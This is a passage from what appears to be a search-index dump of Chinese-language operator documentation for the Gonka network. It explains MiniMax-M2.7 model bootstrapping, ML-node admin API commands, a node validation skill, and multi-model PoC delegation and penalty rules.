"}, {"location": "gonka/docs/zh/host/minimax-bootstrap/#_2", "title": "可能出现的情况", "text": "MiniMax-M2.7 的启动可能遵循以下主要场景：
MiniMax 在某个 epoch 的快照中未通过预评估（并在 PoC 阶段仍不具备资格）：
所有提交了 PoCIntent 的参与者保留其全部权重（不受惩罚）
PoCDelegation / PoCRefusal 的参与者保留其全部权重（不受惩罚）278 之前：未进行任何操作的参与者也保留其全部权重（宽限期期间不执行惩罚）278 开始：未进行任何操作的参与者每错过一个模型，每个 epoch 将损失 15% 的权重=> 因此，在 epoch 278 之前明确发送交易以表明您的意图至关重要
MiniMax 通过预评估但在 PoC 阶段未获得资格（例如，某个 INTENT 节点未能及时部署）：
在该 epoch 实际部署了 MiniMax-M2.7 并提交了 MiniMax PoC 提交记录的节点，保留其现有模型组的全部权重（不受惩罚）
PoCDelegation / PoCRefusal 的参与者保留其全部权重（不受惩罚）278 开始：未进行任何操作的参与者损失 15% 的权重，而提交了 MiniMax PoCIntent 但未部署且未提交 MiniMax PoC 提交记录的参与者也同样损失 15% 的权重（按 IntentMissed 处理）如果 MiniMax 通过了上述两项检查，惩罚机制将遵循 多模型 PoC 中描述的常规情况。
"}, {"location": "gonka/docs/zh/host/minimax-bootstrap/#_3", "title": "硬件资格要求", "text": "MiniMax-M2.7（FP8）每个实例大约需要 320 GB 的总 VRAM —— 相较于 Kimi K2.6 或 Qwen3-235B（根据节点快速入门参考配置均需 ≥640 GB 每实例）显著降低。实际影响如下：
tp=4（每台主机运行两个实例）或 tp=8（每台主机运行一个实例）。v0.2.13 版本对 Kimi 系数调整后明显优于 Kimi K2.6。建议从 Kimi 切换至 MiniMax；此前运行 Qwen3-235B 的主机必须切换至 MiniMax，因为 Qwen3-235B 已由治理（提案 78）退役。export NODE=https://node3.gonka.ai/chain-rpc/ ./inferenced tx inference declare-poc-intent MiniMaxAI/MiniMax-M2.7 \\ --from gonka-api-key \\ --node \"$NODE\" \\ --chain-id gonka-mainnet \\ --keyring-backend file \\ --gas auto \\ --gas-adjustment 1.3 \\ -y ```#### 2. 预下载权重并验证可部署性
MiniMax-M2.7 FP8 权重文件大小约为 230 GB，请合理规划磁盘空间和带宽。请参考以下指南，使用下方指定的仓库和提交记录 预下载模型权重：
hf_repo：MiniMaxAI/MiniMax-M2.7hf_commit：d494266a4affc0d2995ba1fa35c8481cbd84294b在引导快照区块之前，请先验证模型能否在您的硬件上成功加载。该链通过 Model.ModelArgs 注册 MiniMax 模型：--enable-auto-tool-choice --max-model-len 180000 --kv-cache-dtype fp8 --tool-call-parser minimax_m2 --reasoning-parser minimax_m2_append_think#### 3. 等待下一次评估周期并检查预资格
在每次评估周期的快照区块之后，链会发出一个 bootstrap_model_preeligibility 事件：```bash NODE=https://node3.gonka.ai MODEL='MiniMaxAI/MiniMax-M2.7'
HEIGHT=$(curl -sG \"$NODE/chain-rpc/block_search\" \\ --data-urlencode \"query=\\\"bootstrap_model_preeligibility.model_id='$MODEL'\\\"\" \\ | jq -r '[.result.blocks[].block.header.height|tonumber]|max')
echo \"Latest snapshot at height $HEIGHT\"
curl -s \"$NODE/chain-rpc/block_results?height=$HEIGHT\" \\ | jq --arg m \"$MODEL\" ' .result.finalize_block_events[] | select(.type==\"bootstrap_model_preeligibility\") | (.attributes | from_entries) as $a | select($a.model_id==$m) | $a' ``关键属性是pre_eligible。如果其值为true，表示该链将在本 epoch 运行 MiniMax PoC，你应准备部署。辅助字段显示了通过了哪三项检查：meets_v_min（≥V_min个直接表达意向的参与者）、meets_weight_threshold（意向权重 ≥total_network_weight的W_threshold）和meets_reachability（意向加上委托的reachable_voting_power覆盖了>2/3）。intent_host_count和intent_weight` 显示了本 epoch 的直接意向覆盖情况。
在 8×A100 80GB（tp=4，每台主机运行两个实例）上部署 MiniMax-M2.7 的示例命令：bash curl -X POST http://localhost:9200/admin/v1/nodes \\ -H \"Content-Type: application/json\" \\ -d '{ \"id\": \"<NODE_ID>\", \"host\": \"<NODE_IP>\", \"inference_port\": 5050, \"poc_port\": 8080, \"max_concurrent\": 500, \"models\": { \"MiniMaxAI/MiniMax-M2.7\": { \"args\": [ \"--tensor-parallel-size\", \"4\", \"--enable-expert-parallel\", \"--trust-remote-code\", \"--mm-encoder-tp-mode\", \"data\", \"--enable-auto-tool-choice\", \"--max-model-len\", \"180000\", \"--kv-cache-dtype\", \"fp8\", \"--tool-call-parser\", \"minimax_m2\", \"--reasoning-parser\", \"minimax_m2_append_think\", \"--gpu-memory-utilization\", \"0.95\", \"--max-num-seqs\", \"128\" ] } } }'对于 4×B200 / 8×B200 的部署，请根据吞吐量需求选择使用 --tensor-parallel-size 2（每个 8×B200 节点运行两个实例）或 --tensor-parallel-size 4（每个节点运行一个实例）。Model.ModelArgs 的配置应尽可能精简；部署时的参数（如 --tensor-parallel-size、--gpu-memory-utilization、--max-num-seqs 等）由运维人员根据实际情况决定。
gonka 仓库 提供了一个名为 mlnode-validate 的代理技能，可用于将已部署的 ML 节点与特定模型的预计算诚实 PoC 向量进行比对验证。对于 MiniMax M2.7 模型，已提交的黄金参考数据为 mlnode/packages/benchmarks/scripts/poc_validation/artifacts/minimaxai-minimax-m2.7.json（包含 200 个向量，记录于 2×H200 环境）。此外，还提供了适用于 4×A100、4×H100、2×H200 和 2×B200 的现成 deploy/join/ 配置文件。详见 验证 ML 节点部署 和 skills/mlnode-validate/SKILL.md。
PoCIntent 的主机```python", "text": "import time import requests from requests.adapters import HTTPAdapter from urllib3.util.retry import Retry
NODE = \"https://node3.gonka.ai\" MODEL = \"MiniMaxAI/MiniMax-M2.7\" TIMEOUT = 60 DELAY = 0.15
def session(): s = requests.Session() # Retry transient 5xx (node3 returns 503 for some poc_delegation lookups # under load) so a single hiccup does not silently drop a participant # from the result. retry = Retry( total=5, backoff_factor=0.5, status_forcelist=(502, 503, 504), allowed_methods=(\"GET\",), ) s.mount(\"https://\", HTTPAdapter(max_retries=retry)) s.headers[\"Connection\"] = \"close\" return s
def weight(p): # weight may be 0, missing, or literally null — all mean \"no voting weight\". return int(p.get(\"weight\") or 0)
def get_json(s, url): r = s.get(url, timeout=TIMEOUT) r.raise_for_status() return r.json()
s = session()
participants = get_json(s, f\"{NODE}/v1/epochs/current/participants\")[ \"active_participants\" ][\"participants\"]
intents = [] with_minimax_model = [] skipped = [] # participants whose poc_delegation lookup failed after retries
for p in participants: addr = p[\"index\"] w = weight(p) if MODEL in (p.get(\"models\") or []): with_minimax_model.append((addr, w))
try:\n resp = get_json(\n s,\n f\"{NODE}/chain-api/productscience/inference/inference/poc_delegation/{addr}\",\n )\nexcept requests.RequestException as e:\n skipped.append((addr, w, str(e)))\n time.sleep(DELAY)\n continue\n\nfor i in resp.get(\"intents\") or []:\n if i.get(\"model_id\") == MODEL:\n intents.append((addr, w))\ntime.sleep(DELAY)\ntotal = sum(weight(p) for p in participants) intent_weight = sum(w for _, w in intents)
nonzero_intents = [(a, w) for a, w in intents if w > 0] zero_intents = [(a, w) for a, w in intents if w == 0]
print(f\"Active participants: {len(participants)}\") print(f\"With {MODEL} in models[]: {len(with_minimax_model)} (not same as intent)\") print() print(\"Intent from (PoCDirectIntent on chain):\") for addr, w in nonzero_intents: print(f\" {addr} : {w}\") if zero_intents: print() print(\"Zero-weight intents (count toward V_min, contribute 0 to W_threshold):\") for addr, _ in zero_intents: print(f\" {addr} : 0\") print() print(f\"Intent weight: {intent_weight} / {total}\") if total: print(f\"Intent share: {100.0 * intent_weight / total:.2f}%\") if skipped: print() print(f\"Skipped {len(skipped)} participants after retries (intent may be undercounted):\") for addr, w, err in skipped: print(f\" {addr} (weight={w}): {err}\") ```#### 2. 发送委派或拒绝
委派：bash export NODE=https://node3.gonka.ai/chain-rpc/ ./inferenced tx inference set-poc-delegation MiniMaxAI/MiniMax-M2.7 <DELEGATEE> \\ --from gonka-account-key \\ --node \"$NODE\" \\ --chain-id gonka-mainnet \\ --keyring-backend file \\ --gas auto \\ --gas-adjustment 1.3 \\ -y拒绝：bash export NODE=https://node3.gonka.ai/chain-rpc/ ./inferenced tx inference refuse-poc-delegation MiniMaxAI/MiniMax-M2.7 \\ --from gonka-account-key \\ --node \"$NODE\" \\ --chain-id gonka-mainnet \\ --keyring-backend file \\ --gas auto \\ --gas-adjustment 1.3 \\ -y
本指南介绍如何使用管理 API 管理连接到网络节点的推理节点（ML 节点）。
您将学习如何：
所有操作均通过网络节点的管理 API 执行，无需链上交易。更改在网络节点的配置层面立即生效。
"}, {"location": "gonka/docs/zh/host/mlnode-management/#_1", "title": "先决条件", "text": "在管理 ML 节点之前，请确保：
curl 命令的服务器访问。9200 的管理 API。本指南假设您从网络节点服务器本机执行命令：
export ADMIN_API_URL=http://localhost:9200\n若从其他机器调用管理 API，请将 localhost 替换为网络节点的内网 IP 或主机名（并确保端口 9200 可访问且已正确配置防火墙）。
每个在网络节点上注册的 ML 节点由一个 JSON 对象表示，包含以下关键字段：
id – ML 节点的唯一标识符（字符串）。host – ML 节点的静态 IP 或 DNS，若与网络节点在同一 Docker 网络中运行则为容器名。inference_port – 用于推理请求的端口（映射到 ML 节点 nginx 容器的端口 5000）。poc_port – 用于计算证明（PoC）和管理操作的端口（映射到 ML 节点 nginx 容器的端口 8080）。max_concurrent – 该 ML 节点可处理的最大并发推理请求数。models – 模型名称到 vLLM 参数的映射。ML 节点配置示例：
{\n \"id\": \"node1\",\n \"host\": \"10.0.0.21\",\n \"inference_port\": 5050,\n \"poc_port\": 8080,\n \"max_concurrent\": 500,\n \"models\": {\n \"MiniMaxAI/MiniMax-M2.7\": {\n \"args\": [\n \"--tensor-parallel-size\",\n \"4\"\n ]\n }\n }\n}\n支持的模型与 vLLM 参数
当前网络以 MiniMaxAI/MiniMax-M2.7 作为活跃的 PoC 模型（以治理决策为准）。详见 为 LLM 选择最优部署配置的基准测试指南。
使用此接口查看当前在网络节点上注册的所有 ML 节点。
接口
GET /admin/v1/nodes示例
curl -X GET \"$ADMIN_API_URL/admin/v1/nodes\" | jq\n预期结果
使用此操作在网络节点上注册单个新 ML 节点。
接口
POST /admin/v1/nodes在 4xH100 上添加 MiniMax 节点
在 4xH100 上添加 MiniMaxAI/MiniMax-M2.7 的示例请求：
curl -X POST \"$ADMIN_API_URL/admin/v1/nodes\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"id\": \"node-minimax\",\n \"host\": \"10.0.0.22\",\n \"inference_port\": 5050,\n \"poc_port\": 8080,\n \"max_concurrent\": 500,\n \"models\": {\n \"MiniMaxAI/MiniMax-M2.7\": {\n \"args\": [\n \"--tensor-parallel-size\",\n \"4\",\n \"--max-model-len\",\n \"180000\"\n ]\n }\n }\n }'\n预期结果
成功时返回 200 OK 及新注册的 ML 节点配置（JSON）。 若有一个或多个模型无效（未经治理批准），API 返回 400 Bad Request 及错误信息。
使用此接口一次注册多个 ML 节点。请求体为 ML 节点定义的数组。
接口
POST /admin/v1/nodes/batch示例
curl -X POST \"$ADMIN_API_URL/admin/v1/nodes/batch\" \\\n -H \"Content-Type: application/json\" \\\n -d '[\n {\n \"id\": \"node1\",\n \"host\": \"10.0.0.21\",\n \"inference_port\": 5050,\n \"poc_port\": 8080,\n \"max_concurrent\": 500,\n \"models\": {\n \"MiniMaxAI/MiniMax-M2.7\": {\n \"args\": [\n \"--tensor-parallel-size\",\n \"4\",\n \"--max-model-len\",\n \"180000\"\n ]\n }\n }\n },\n {\n \"id\": \"node2\",\n \"host\": \"10.0.0.22\",\n \"inference_port\": 5050,\n \"poc_port\": 8080,\n \"max_concurrent\": 500,\n \"models\": {\n \"MiniMaxAI/MiniMax-M2.7\": {\n \"args\": [\n \"--tensor-parallel-size\",\n \"4\",\n \"--max-model-len\",\n \"180000\"\n ]\n }\n }\n }\n ]'\n预期结果
201 Created 及已注册节点数组。206 Partial Content，包含 nodes（成功的节点）和描述失败的 errors 数组。400 Bad Request，errors 数组中包含详情。更新 ML 节点采用 upsert 逻辑：
id 已存在，则更新该节点。id 不存在，则新建节点。您可以使用以下任一方式：
POST /admin/v1/nodes 且使用已有 id，或PUT /admin/v1/nodes/:id，请求体中使用相同 id。保持路径与请求体中的 ID 一致
为清晰起见，使用 PUT 时请始终将请求体中的 id 与 URL 中的 :id 保持一致。
示例：提高 max_concurrent 并更新模型
curl -X PUT \"$ADMIN_API_URL/admin/v1/nodes/node1\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"id\": \"node1\",\n \"host\": \"http://10.0.0.21\",\n \"inference_port\": 5050,\n \"poc_port\": 8080,\n \"max_concurrent\": 800,\n \"models\": {\n \"MiniMaxAI/MiniMax-M2.7\": {\n \"args\": [\n \"--tensor-parallel-size\",\n \"4\",\n \"--max-model-len\",\n \"180000\"\n ]\n }\n }\n }'\n预期结果
200 OK 及更新后的节点配置。400 Bad Request 及错误信息。使用此接口启用此前被禁用的 ML 节点。此操作不修改节点配置，仅改变其管理状态。
接口
POST /admin/v1/nodes/:id/enable示例
curl -X POST \"$ADMIN_API_URL/admin/v1/nodes/node1/enable\"\n预期结果
{\n \"message\": \"node enabled successfully\",\n \"node_id\": \"node1\"\n}\n404 Not Found 及错误信息。使用此接口禁用 ML 节点而不删除它。节点仍保持注册，但被标记为管理性禁用。它将保持活动直到当前 epoch 结束，但不会参与接下来的 PoC，因此不会计入下一 epoch。
接口
POST /admin/v1/nodes/:id/disable示例
curl -X POST \"$ADMIN_API_URL/admin/v1/nodes/node1/disable\"\n预期结果
{\n \"message\": \"node disabled successfully\",\n \"node_id\": \"node1\"\n}\n404 Not Found 及错误信息。禁用与删除
禁用 ML 节点是可逆的。之后可通过 /enable 接口重新启用。 删除节点会从网络节点中完全移除其配置（见下文）。
使用此接口从网络节点中完全移除 ML 节点配置。
接口
DELETE /admin/v1/nodes/:id示例
curl -X DELETE \"$ADMIN_API_URL/admin/v1/nodes/node1\"\n预期结果
200 OK 及已删除节点的 JSON 表示。不可逆操作
删除 ML 节点无法撤销。若要重新添加，必须使用添加新 ML 节点或批量添加接口再次注册。
"}, {"location": "gonka/docs/zh/host/mlnode-management/#_2", "title": "验证更改", "text": "在执行任意添加/更新/启用/禁用/删除操作后，可验证所有 ML 节点的当前状态：
curl -X GET \"$ADMIN_API_URL/admin/v1/nodes\" | jq\n若要在协议层面做端到端验证（在计算证明之后），可查看当前活跃参与者列表：
curl http://node2.gonka.ai:8000/v1/epochs/current/participants | jq\n由此可确认您的网络节点及其 ML 节点是否正确参与网络，且其有效权重已反映最近更改。
"}, {"location": "gonka/docs/zh/host/mlnode-validation/", "title": "验证 ML 节点", "text": ""}, {"location": "gonka/docs/zh/host/mlnode-validation/#ml", "title": "验证 ML 节点部署", "text": "gonka 仓库中提供了一个名为 mlnode-validate 的智能体技能（agent skill），用于在特定模型上对已部署的 ML 节点进行验证，将其输出与预先计算的诚实 PoC 向量比对。该技能自包含于仓库内部（无外部代码，无回调接收方）。
该技能的契约位于 skills/mlnode-validate/SKILL.md — 必填 / 可选输入、部署配置规则、黄金参考列表、通过判定标准、失败模式、报告模板的唯一权威来源。本页只是指引。
技能由位于 mlnode/packages/benchmarks/scripts/poc_validation/ 下的两个 Python 脚本实现：
validate.py — 主入口（download → deploy → throughput → validate）。make_artifact.py — 当请求的模型尚无已提交的黄金参考时，针对一个已经服务该模型的可信 MLNode 烘焙一个新的 artifact。validate.py 针对正在运行的 ML 节点执行四个阶段，在运行过程中输出 [i/4] 头部：
[1/4] download — 确保所请求的 HuggingFace 仓库已在 ML 节点上缓存。使用 POST /api/v1/models/status，必要时 POST /api/v1/models/download 并轮询 /models/status 直到 DOWNLOADED。[2/4] deploy — 若 vLLM 尚未运行则启动。POST /api/v1/inference/up/async {model, dtype, additional_args}，轮询 GET /api/v1/inference/up/status 直到 is_running == true。[3/4] throughput — 测量整套系统的 PoC 吞吐量。POST /api/v1/inference/pow/init/generate（参数取自 reference）；代理向每个健康的 vLLM 副本扇出不同的 group_id。按 --sample-interval 采样 GET /api/v1/inference/pow/status 持续 --measure-seconds。报告每副本的 nonces_per_second 以及跨副本总和，然后 POST /api/v1/inference/pow/stop。[4/4] validate — POST /api/v1/inference/pow/generate，带 wait=true、nonces=[...]、validation.artifacts=<artifact> 以及完整的 stat_test 块（dist_threshold、p_mismatch、fraud_threshold）。ML 节点重新计算相同的 nonce，运行 L2 单 nonce 不匹配检测，然后是二项式欺诈检测。返回 {n_total, n_mismatch, mismatch_nonces, p_value, fraud_detected}。可分别通过 --skip-download、--skip-deploy、--skip-throughput、--skip-validate 跳过任一阶段。
四个阶段完成后，脚本将三个文件写入 mlnode/packages/benchmarks/data/experiments/<exp_name>_<ts>/：
validate_config.json — 仅解析后的输入（ML 节点 URL、模型、参考路径 + 元数据、部署配置、PoC 参数、带来源的 stat_test、原始 CLI 参数）。validate_report.json — 完整的结构化报告（配置 + 每阶段结果 + 结论）。审计跟踪。validate_report.txt — 简短的人类可读摘要；横幅之后的第一行即 verdict: <PASS|FAIL|...>。依据 SKILL.md → Required inputs，调用方必须同时提供：
MLNODE_URL — 被测 ML 节点的基础 URL（例如 http://1.2.3.4:8080）。无默认值。MODEL — 目标 HuggingFace 模型 id，完整 org/repo 形式（例如 MiniMaxAI/MiniMax-M2.7、moonshotai/Kimi-K2.6、Qwen/Qwen3-235B-A22B-Instruct-2507-FP8）。无默认值。这是 SKILL.md → Deploy config: from the caller, not the golden 中的一条关键规则：
golden artifact 只提供 向量、PoC 参数和 stat_test——仅此而已。其中的 additional_args 字段记录了生成这些向量的那台服务器上使用的标志，仅供参考，不能作为另一台服务器上的部署默认值。
调用方传入与被测服务器 GPU 类匹配的部署配置（通常为 deploy/join/node-config-<model>-<gpu>.json）。标准流程是烘焙一个自定义 reference，把 golden 的 vectors + params + stat_test 与调用方的 args 组合在一起，然后通过 --reference 传入：
import json, pathlib\nsrc = pathlib.Path('mlnode/packages/benchmarks/scripts/poc_validation/artifacts/<golden>.json')\nnode_cfg = json.loads(pathlib.Path('deploy/join/node-config-<model>-<gpu>.json').read_text())\n\nd = json.loads(src.read_text())\nd['additional_args'] = list(node_cfg[0]['models']['<HF model id>']['args'])\nd['source'] = f\"vectors from {src.name}; additional_args from deploy/join/node-config-<model>-<gpu>.json\"\ndst = src.with_name(src.stem + '-<gpu>.json')\ndst.write_text(json.dumps(d, indent=2))\npython3 mlnode/packages/benchmarks/scripts/poc_validation/validate.py \\\n --mlnode-url \"$MLNODE_URL\" --model \"$MODEL\" --reference <dst>\n自定义 reference 是按部署一次性的，不提交到仓库。仅当被测服务器与生成 golden 的服务器属于同一硬件类时，才可以直接传 golden（无需烘焙）——这是例外，不是默认。
CLI 标志 --tp-size、--max-model-len、--extra-arg、--dtype 用于在已有 reference 之上做小幅一次性微调，但它们无法移除 reference 已经携带的标志——因此当部署形态与 golden 的录制形态不同时，它们不能替代烘焙自定义 reference。
依据 SKILL.md → Available golden references，仓库在 mlnode/packages/benchmarks/scripts/poc_validation/artifacts/ 下提供以下 reference。自动查找 <sanitized model>.json 为每个模型挑选默认文件；超出默认范围的变体需要显式 --reference <path>。
\"Recording context\" 列描述生成向量的那台服务器（仅供参考——这些标志不是你做验证时的部署默认值；参见上面的「部署配置：来自调用方，而非来自 golden」一节）。
模型 文件名 向量数 Recording contextQwen/Qwen3-0.6B qwen-qwen3-0.6b.json 32 本地开发 / 单 GPU Qwen/Qwen3-235B-A22B-Instruct-2507-FP8（默认查找） qwen-qwen3-235b-a22b-instruct-2507-fp8.json 32 tp=4，FlashInfer 基线。快速 smoke 测试。 Qwen/Qwen3-235B-A22B-Instruct-2507-FP8（扩展） qwen-qwen3-235b-a22b-instruct-2507-fp8-deepgemm.json 2000 tp=2，DeepGEMM MoE 后端（VLLM_USE_DEEP_GEMM=1，VLLM_MOE_USE_DEEP_GEMM=1），录制于 4xB200。需 --reference 传入。 Qwen/Qwen3-235B-A22B-Instruct-2507-FP8（pubkey-v2） qwen-qwen3-235b-a22b-instruct-2507-fp8-h200-pubkey-v2.json 200 tp=4，录制于 4xH200，public_key=test_pub_keys_v2。需 --reference 传入。 MiniMaxAI/MiniMax-M2.7（默认查找） minimaxai-minimax-m2.7.json 200 tp=2，FLASHINFER attention，fp8 kv-cache，max-model-len 180000，--trust-remote-code，minimax_m2 tool / reasoning parsers。录制于 2xH200。 moonshotai/Kimi-K2.6（默认查找） moonshotai-kimi-k2.6.json 200 tp=4 + expert-parallel，FLASHINFER_MLA attention，gpu-mem 0.95，max-model-len 240000，kimi_k2 tool / reasoning parsers，--disable-custom-all-reduce，--trust-remote-code。录制于 4xB200。 对于 Qwen3-235B，同一模型 id 有多个 reference，分别走不同代码路径（tp-size、MoE 后端、public_key）——具体的多次运行建议见 SKILL.md。
"}, {"location": "gonka/docs/zh/host/mlnode-validation/#deployjoin", "title": "deploy/join/ 中现成的部署配置", "text": "仓库提供与每个已批准模型在常见 GPU 类上匹配的 node-config-*.json：
deploy/join/node-config-qwen235B-B200.jsondeploy/join/node-config-kimik26-B200.jsondeploy/join/node-config-kimik26-H200.jsondeploy/join/node-config-minimax-A100.jsondeploy/join/node-config-minimax-H100.jsondeploy/join/node-config-minimax-H200.jsondeploy/join/node-config-minimax-B200.json这些配置也在主机快速入门中以内联形式给出。
"}, {"location": "gonka/docs/zh/host/mlnode-validation/#_4", "title": "通过判定标准", "text": "依据 SKILL.md → Pass criteria：
validation.passed == true，validation.has_mismatches == false，n_mismatch == 0，fraud_detected == false。validation.passed == true，validation.has_mismatches == true，n_mismatch > 0，fraud_detected == false。欺诈检测在 p_mismatch 容差内允许少量不匹配，仍判为 PASS。validation.passed == false，fraud_detected == true。退出码：
0 — PASS（带或不带容差内不匹配），或 validate 阶段被跳过。2 — validation 已运行且欺诈检测触发。1 — validation 能运行之前出现硬错误（下载失败、部署超时等）。validate.py 在 mlnode/packages/benchmarks/scripts/poc_validation/artifacts/ 下查找 artifact。若 MODEL 对应文件缺失，脚本以 1 退出并打印期望的文件名以及用于针对已经在服务 MODEL 的可信 MLNode 烘焙一个 artifact 的精确 make_artifact.py 命令。智能体不得自行生成向量或替换为其他模型——见 SKILL.md → When no artifact exists for the requested model。
node-config.json 示例。compressa-perf 进行性能调优（TP / PP）。多模型计算证明（PoC）功能于 v0.2.12 版本引入，并在 v0.2.13 版本中进一步扩展。
"}, {"location": "gonka/docs/zh/host/multi_model_poc/#v0212-v0213", "title": "v0.2.12 和 v0.2.13 中的变化", "text": "在 v0.2.12 之前，网络仅运行一个强制模型：Qwen/Qwen3-235B-A22B-Instruct-2507-FP8。v0.2.12 引入了第二个由治理批准的模型 moonshotai/Kimi-K2.6，并实现了按模型的参与、委托和惩罚计时机制。v0.2.13 则重新校准了模型系数，并新增 MiniMaxAI/MiniMax-M2.7 作为第三个由治理批准的模型。
截至纪元 308，Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 已由治理（提案 78）退役，MiniMaxAI/MiniMax-M2.7 成为基础模型与活跃的 PoC 模型。主网上的 poc_params.models 包含以下内容：
model_id 当前主网状态 MiniMaxAI/MiniMax-M2.7 基础模型，活跃 moonshotai/Kimi-K2.6 在纪元 328–329 事件后重新 bootstrap 中 各模型的 weight_scale_factor 与 penalty_start_epoch 通过治理变更过于频繁，无法在文档中可靠列出。请始终通过你所使用的链上的实时 params 查询读取这些参数：
./inferenced query inference params --node \"$NODE\" -o json\n查看 poc_params → models。
此设计的目标是在保留相同安全模型（BFT 假设）的前提下，允许网络支持多个模型，而无需每个主机都运行所有模型。
若无委托机制：
委托机制解决了这一问题：
新模型通过治理流程添加：每个新模型都应有其独立的治理流程、参数设置和激活时间表。对于每个已批准的模型，主机可自行决定是否运行、委托、拒绝或不采取任何行动。
"}, {"location": "gonka/docs/zh/host/multi_model_poc/#_2", "title": "范围与前提条件", "text": "适用范围：升级前的模型清理、按模型参与选择、委托与意图交易、委托查询、PoC v2 提交诊断，以及影响你决策的链上参数。
签名说明：本指南中所有操作均假设你从你的冷主机密钥发起广播（即 --from 指向该账户）。（但也可授权使用热密钥执行委托操作。）
开始前准备：请确认你的二进制文件和网络环境支持以下命令：./inferenced query inference --help ./inferenced tx inference --help延伸阅读（设计与费用）： 多模型 PoC 提案 README。
Do you run the model?
├─ YES │ └─ Do nothing → you are fully participating (no penalties)
└─ NO ├─ Do you have another node that runs this model? │ │ ├─ YES │ │ └─ Delegate to your own node │ │ └─ NO │ ├─ Do you trust another host? │ │ │ │ ├─ YES │ │ │ └─ Delegate to that host (share 5% of weight) │ │ │ │ └─ NO │ │ └─ Refuse delegation (~10% penalty) │ └─ If you do nothing └─ Risk highest penalty (~15%) ```在大多数情况下：
如果你不运行某个特定模型：
refuse-poc-delegation当某个模型达到 penalty_start_epoch 后，如果你未通过直接参与或有效委托的方式参与该模型，你的共识权重可能会降低，具体取决于治理配置的参数。
要获取所有经治理批准的 model_id 值列表，请运行：
./inferenced query inference params --node \"$NODE\" -o json\npoc_params → models 中的内容。 你的目标 命令 主机选择该选项的原因 自行运行该模型的 PoC (无需单独的链上“加入”操作；你的 PoC 节点会提交 PoC v2 存储提交) 你将在该模型的组内参与本 epoch 的共识。 信任另一个主机对该模型的验证投票 set-poc-delegation 只要验证时满足规则，你的权重将计入该委托方对该模型 PoC 验证的影响力（参见 你的委托是否真正生效？） 明确拒绝为该模型进行委托 refuse-poc-delegation 明确表示“不委托”；当该模型启用惩罚后，若治理配置了相关规则，可能会应用拒绝型扣减（参见 你的链上选择何时被冻结） 不采取额外操作 (无需交易) 默认行为；一旦启用惩罚，可能面临最高处罚 在新模型完全上线前表明计划 declare-poc-intent 仅用于启动阶段的报告；它不能替代运行 PoC。你仍需提交有效的存储提交记录，才能被视为自行服务该模型。参见 启动预资格事件"}, {"location": "gonka/docs/zh/host/multi_model_poc/#_6", "title": "策略对比", "text": "策略 结果 运行模型 完全参与，无惩罚 委托 轻微权重损失（约 5%），避免惩罚 拒绝委托 约 10% 权重损失 什么都不做 若在未参与的情况下形成法定人数，最多损失约 15% 权重 每个模型仅保存一个选择：对于每个 model_id 和你的地址，链上最多保存 delegate / refuse / intent 中的一项。发送新的这三类交易中的任意一种，将覆盖之前的设置。如果你在该 epoch 内为该模型提交了有效的 PoC v2 存储提交，则链上规则会优先采用“自行运行”的状态，覆盖上述三种设置。
不存在适用于所有情况的通用默认建议。运行、委托、拒绝或什么都不做，是每个主机针对每个模型的策略决策。
当前主网参数（撰写时）
refusal_penalty：约你权重的 10%no_participation_penalty：约 15%（若在你未参与的情况下形成法定人数）delegation_share：约你权重的 5% 会转移给被委托方这些值由治理控制，可能变更。请始终通过 params 命令核实。
宽限期
升级后，对新引入模型的惩罚不会立即生效。
主机通常有短暂窗口期（约 3 天）来：
请通过 params 中的 penalty_start_epoch 查看确切时间。
每个已批准的模型都有其独立的 PoC。你在上一个 epoch 的共识权重，仍会影响你未自行运行的模型的 PoC 验证投票权。
委托的含义是：针对某个 model_id，你向链声明你的权重在该模型的验证投票中应如何行为——你可以支持他人的投票、书面选择退出、仅对新模型表达计划，或保持默认（不发送额外交易）。
如果你在该 epoch 内为该模型提交了有效的 PoC v2 存储提交（通过正常的 PoC 节点堆栈），你将被视为自行运行该模型的 PoC。这将覆盖你之前通过 delegate / refuse / intent 设置的任何参与方式。
"}, {"location": "gonka/docs/zh/host/multi_model_poc/#_7", "title": "当你的链上选择被冻结", "text": "链会在两个不同时间点读取你的设置——它们回答不同问题，并应用于不同场景。
1. 当前 epoch 的 PoC 验证开始时 链记录你委托给了谁以及是否拒绝委托。这适用于已正常运行的模型。此处不读取 intent 信息。
2. 下一轮 PoC 开始前的 deploy_window 个区块高度 — 即 next_poc_start − deploy_window 链记录针对尚未进入正常集合的模型的委托和 intent，用于启动 / 预资格信号。如果 deploy_window 为零或负数，则不会执行此次记录。
你是否实际运行了 PoC 并不从这些存储记录中读取：链会检查你在该 epoch 内是否为该模型提交了有效的 PoC v2 存储提交。
"}, {"location": "gonka/docs/zh/host/multi_model_poc/#_8", "title": "你的委托是否真正生效？", "text": "set-poc-delegation 可随时发送，但只有在验证开始时满足以下所有条件，委托才真正生效：
model_id 运行了 PoC（以常规方式提交了对应工作），且 否则，你的委托在该 epoch 对该模型无效（实际结果等同于未委托），一旦启用惩罚规则，仍可能被处罚。
当委托生效时，你的全部权重将计入该主机在验证该模型 PoC 时的影响力。此外，在最终确定权重时，params 中的 delegation_share 可能会将你原始共识权重的一部分转移给被委托方——这与拒绝或未参与的扣减比例是不同的机制；请查阅 params 获取确切数值。
如果你计划为一个新模型配置硬件，请关注链上类型为 bootstrap_model_preeligibility 的事件。典型属性包括：model_id、pre_eligible、meets_weight_threshold、meets_v_min、meets_reachability、intent_host_count、intent_weight、reachable_voting_power、total_network_weight、snapshot_height。
利用这些事件来决定：
何时必须已部署有效的提交
如果 pre_eligible = false 且你计划服务该模型：检查 meets_weight_threshold 和 meets_v_min。若两者均为 false，可能表示你的质押不足。
meets_reachability 为 false，请在下次捕获高度前确认你的节点可达。在使用以下命令前，在同一 shell 中运行一次此段。请根据实际情况调整值，然后执行整个代码块。以下所有示例均使用 NODE、CHAIN_ID、KEY（你在密钥环中的冷钱包名称），以及可选的 KEYRING_BACKEND。```bash export NODE=\"\" export CHAIN_ID=\"gonka-mainnet\" export KEY=\"gonka-account-key\" # cold key; see note at top on warm-key grants export KEYRING_BACKEND=\"file\"
export MY_ADDR=\"$(./inferenced keys show \"$KEY\" -a --keyring-backend \"$KEYRING_BACKEND\" 2>/dev/null || true)\"
